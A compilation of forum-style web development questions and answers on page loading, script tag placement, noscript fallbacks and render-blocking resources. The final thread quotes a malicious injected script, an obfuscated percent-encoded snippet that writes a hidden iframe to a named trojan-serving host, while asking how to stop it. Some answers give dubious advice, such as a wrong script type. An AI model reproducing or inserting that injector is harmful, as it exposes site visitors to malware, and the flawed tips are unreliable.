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I've noticed that on the first load of some of the pages on my site, there's a quick white flash.
It doesn't seem to do this once the page content has been cached, but it's annoying during the first loads.
I tried styling all of the <html> tags black, but that doesn't seem to solve the issue. Could it be the scripts on some of my pages? (i.e. maybe analytics)
Is there anything I could do to remedy this problem?
Update: The site can be viewed here. Some pages have Javascript, but others do not, and it seems that's irrelevant, based on the results I've experienced.
OK, so it looks like this might be related to your script tag in the <head/>. Try pushing that down to just before the closing </body> tag. The document can't render until that script has completely run.
See rule 6
However, one of the other resource you're waiting on sometimes is 'home.css'. That may even be more of a problem. It's a bit of a hack, but you could try setting your background to black before even that css using an inline <style/> tag.
Try structuring the page in this order (notice the <style/>) tag;
<!doctype html>
<html>
<head>
<style>
html { background-color: black; }
</style>
...
<link href="home.css" rel="stylesheet" type="text/css">
...
</head>
<body>
...
<div id="footer">
<span class="footer_text">Copyright © 2013 Casey Kidd Music.<br />All Rights Reserved.</span>
</div>
</div>
<script>
(function(
...
'pageview');
</script>
</body>
</html>
It's possible you may still get a small flicker of white between pages, before the HTML has loaded, but this window would be pretty small now.
Related
I'm looking into creating browser game development. I have a strong background in C programming (c/c++/c#) and web development (html/css/wordpress/some JS). This area of programming seems like chaos and no one has a firm framework that works well and is good.
I've been exploring at libraries available such as gameQueryJs and other tutorials I've found such as Canvas Tutorial, I keep running into the same issue.
They all just jump STRAIGHT into the code. No pre-set up, how the HTML page should look like, just nothing. They all go BANG, right into the javascript.
Before I get into the javascript I need to set up the web page. I am wondering how such a page would be designed like and how to import scripts correctly.
For example, if I wanted to add jquery and the gamequery libary, would I add it like this?
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="js/jquery-3.1.0.min.js"></script>
<script src="js/jquery.gamequery-0.7.1.js"></script>
<title> GAME TITLE </title>
</head>
<body>
<div id="game-txt">
<h1> GAME TITLE </h1>
</div>
<div id="wrap">
<div id="canvascontainter">
<canvas id="canvas" width="300" height="300"></canvas> -- ignore this, this was when I was playing with the canvas tutorial
</div>
</body>
</html>
<!-- SCRIPT STUFF DOWN HERE? -->
To further explain my issue, here is gameQueryJS's first line of code they introduce to you to use.
var PLAYGROUND_HEIGHT = 250;
var PLAYGROUND_WIDTH = 700;
$("#playground").playground({height: PLAYGROUND_HEIGHT, width: PLAYGROUND_WIDTH});
Where does that go? What is the playground id they are manipulating on the page? They just throw that line at you like every other tutorial I've found without explaining anything.
Javascript can be placed in script tags or in a seperate file just like the gameQueryJs libraries that you are loading.
Where you put the script tags is almost entirely up to you, although most people will put them in the section.
Putting them below the closing tag of the page is not correct however. Unfortunately most browsers will accept and execute it even then because they try quite hard to make every page they get served work. For more on where to place script tags check W3Schools
The playground they refer to is an element that you'd have on your page, in their example from lesson one it is a div with the id playground.
Also, if you check the first example that they give you can select Edit with JSFiddle the code they show there should help anwser part of your question as well as add to the lack of information you complained about.
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When I try to go to Gmail and FaceBook with my JavaScript disabled, I am greeted with the following:
The content in the images is displayed in <noscript> tags, but the rest of the usual page content isn't there. The Gmail source has a few empty <iframe> elements, but the FB page is empty, save for the <noscript> element, and a couple <script> tags.
I would like to have similar behaviour for my site, but am unsure how to only load the page content if the user has JS enabled. I can put in the <noscript> element, and have a div centred on screen with a "You need JS enabled" message, but the rest of the content would still have loaded behind it.
There are a couple solutions here and here, but they only have the main content as:
display: none;
and the set it to block; via JS. But that would still show up in the source.
Can I entirely prevent loading page content when JS is disabled, and only display the "Oops, you need JS enabled" message?
Do not put the content in the first page, and just put a <script src="…"> which loads the actual contents via AJAX. Your source should then roughly follow that template:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<script src="libraries.js"></script>
<script src="load-page-contents.js"></script>
</head>
<body>
<noscript>
This website is an interactive editor for 3D graphics or something
really complex that can't be done at all in plain HTML, and therefore
needs JavaScript.
Click here to read more about this project.
<img src="screenshot.jpg" alt="Obligatory screenshot, to compell the
user to turn on JavaScript because this looks So Cool ™." />
</body>
</html>
Think twice about it, however. Does your site really need JavaScript to work? Can't at least a dumbed-down version be displayed otherwise? There are lots of reasons to have JavaScript disabled (screen readers, search engines, security issues, easy way to disable lots of blinking flashing annoying ads)
Simply load the whole page with an AJAX request and hide the error message using Javascript. Then the error message will remain if they have Javascript disabled, and the page will be loaded if it is enabled.
I tried Google PageSpeed Insights to check how much my website speed does well! But it shows an error in mobile version. Google suggested me to remove render blocking javascript to make my site better looks in mobile device. I've written bellow what exactly they said to me.
Your page has 1 blocking script resources and 3 blocking CSS
resources. This causes a delay in rendering your page.
None of the above-the-fold content on your page could be rendered
without waiting for the following resources to load. Try to defer or
asynchronously load blocking resources, or inline the critical
portions of those resources directly in the HTML. Remove
render-blocking JavaScript:
https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js
Optimize CSS Delivery of the following:
http://fonts.googleapis.com/…%3A300%2C400%7CRaleway%3A400%2C500%2C900
https://www.blogger.com/…/3728782508-widget_css_mobile_bundle.css
https://www.blogger.com/…&zx=88195f1c-da8c-4c99-bb3e-609abb88c4fa
If you've written your page to be dependent on using jquery on load, removing it would mean you'd have to re-write a lot of your code, to save, perhaps 10 milliseconds in load time?
Open your browser's debugger, look at the NETWORK tab and reload the page. You should be able to decide whether this suggested optimization is worth it or not (I'm suggesting it is not).
I was having a similar issue with Javascript. Make sure that in your code after your source your java that you put a type="text/js". Like this:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js" type="text/js"></script>
Otherwise you need to go into your server and make adjustments to your htcaccess file.
Heloo Nazmul, may be you should to edit your question to "How to Remove default JS and CSS that make Render Blocking Javascript in Blogger?" may be so long but I think your problem is it.
Follow my step with :
change <head> to <head>
If your Internet Service Provider give some bloking JS and CSS add <!-- </head> --> before </head>
Change </head> to <!--<head/>-->
add <!-- </body></html> --> before </body></html>
It is about DOM get work, I will give you example my blank blogger template if you still headache.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<meta charset='utf-8'/>
<style/>
<b:skin><![CDATA[]]></b:skin>
<!-- </head> -->
<!--<head/>-->
<body>
<b:section class='header' id='header' showaddelement='yes'/>
<h1 style="color:blue;font-family: monospace">klikada.com</h1>
<b:section class='main' id='main' showaddelement='yes'/>
<b:section class='footer' id='footer' showaddelement='yes'/>
<!-- </body></html> -->
<style>a:link{text-decoration:none;}a:visited{text-decoration:none;}a:hover{text-decoration:none;}a:active{text-decoration:underline;}</style>
</body>
</html>
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Closed 9 years ago.
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SOLVED Argh. I HATE when this happens. It was just me being stupid. I didn't allow crtypto-js.googlecode.com to run javascript in NoScript. Sorry for bothing you, and thank you all for your help!
Update It works for other people in Firefox, and it works for me in Internet Explorer. SO this sin't related to the HTML code itself it seams. I might head over to SuperUser if nobody has an idea here. (ANd yepp - I have tried emptying the cache ^^)
I just ran into a strange problem. In a XHML document, I'm loading three javascript libraries. One loads, two don't. When checking with firefox internal web developer console, I see no requests issued for the two, so it's not wrong paths or anything (I would see requests returnign 404).
Minimal Example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html version="-//W3C//DTD XHTML 1.1//EN" xml:lang="en"
xmlns="http://www.w3.org/1999/xhtml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.w3.org/1999/xhtml http://www.w3.org/MarkUp/SCHEMA/xhtml11.xsd">
<head>
<script type="text/javascript" src="//crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/hmac-sha1.js" />
<script type="text/javascript" src="//crypto-js.googlecode.com/svn/tags/3.1.2/build/components/enc-base64-min.js" />
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" />
<script type="text/javascript"></script>
</head>
<body>
</body>
</html>
Screenshot of browser console:
What's going on here? Sourcecode looks fine to me, and the script tags loading CryptoJS are structured the same way as the one that loads jQuery. Still, jQuery loads while the others don't.
[Edit]: JUst to make that one clear in case more people are about to answer the same: self-closing the emtpy script-tags is fine. It's valid XHTML, and the current verwsion of FIrefox is fully XHTML compliant and understands this. If you read that you should not do this somewhere - that's right, you shouldn't. Because you could still meet old, non-XHTML-compliant browsers. But this is a private test-project that will never be used anywhere outside my own browser, So this is a non-issue here.
<script> cannot be self-closing, as shown by the syntax highlighting in your question.
Always close scripts with </script>.
Problem solved. NoScript blocked the two Javascripts.
The server that has my website on it also has a virus on it.
The virus injects the malicious code
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
onto EVERY single page which is served, and it is being preprocessed by Apache or something similar to add it to the end of the file.
I created a test file, with the following code:
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
</body>
</html>
It isn't pretty, but it served its purpose.
When viewing the page in my browser, I get
<html>
<head>
<title>Test HTML File</title>
</head>
<body>
<h1>Test HTML File</h1>
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
</body>
</html>
which can be viewed from www.sagamountain.com/testfile.html (warning, this page is infected)
I need to programmatically stop that div and that script from executing, as it is an iframe to a site with a trojan on it. HTML, CSS, or JS, I just need some way to prevent that JS from executing.
It is already display:none so you cannot see it, but how can I prevent the iframe from ever loading at all?
Thanks for the help! The unescape thing resolves to an iframe to http://ncccnnnc.cn/img/index.php which is clearly the source of my troubles. Don't go to that site!
EDIT: This is a followup to https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459
I'm sorry that I can't answer your specific question, but I think that you're looking at this the wrong way. What you need to do is not strip out the virus-inserted html, what you need to do is talk to your web-host/sysadmin and strip out the virus.
Treating the symptoms won't cure the infection. Treating the disease, however, will also treat the symptoms as well as removing the virus.
The file that is in your server is a php file look in the comments here.
Cyber, if you have to wait on the server to be fixed by someone else, I'd say you should try ending your documents with an open <noscript> tag or open HTML comment tag.
You can't use Javascript to stop content that hasn't been rendered from doing so, unless you use document.write and one of the above tags (noscript/comment). Also you can't do anything by placing a script after, as it is already too late (the content is there already).
It is an ugly solution but should prevent your site visitors from experiencing the virus. It also makes your markup invalid, but any browser should be able to parse it and render it as you expect.
Best of luck with the server!